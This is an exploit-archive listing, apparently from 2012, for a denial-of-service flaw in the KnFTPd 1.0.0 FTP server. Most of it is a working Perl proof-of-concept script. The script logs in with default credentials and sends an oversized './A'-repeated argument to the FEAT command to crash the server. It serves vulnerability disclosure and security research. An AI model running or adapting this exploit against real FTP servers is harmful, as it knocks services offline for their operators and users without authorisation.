Exploit the possiblities

KnFTPd 1.0.0 Denial Of Service

KnFTPd 1.0.0 Denial Of Service
Posted Mar 29, 2012
Authored by Stefan Schurtz

KnFTPd version 1.0.0 FEAT denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
MD5 | 51a105d85e6ae2c11314287d6cc5479f

KnFTPd 1.0.0 Denial Of Service

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#!/usr/bin/perl
#################################################################################
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit
# Author: Stefan Schurtz
# Affected Software: Successfully tested on KnFTPd 1.0.0
# Vendor URL: http://knftp.sourceforge.net/
# Vendor Status: informed
# CVE-ID: -
# PoC-Version: 1.0
#################################################################################
use strict;
use Net::FTP;

my $user = "system";
my $password = "secret";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload './A' with min. length of 94
##################################################
my @p = ( "","./A" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

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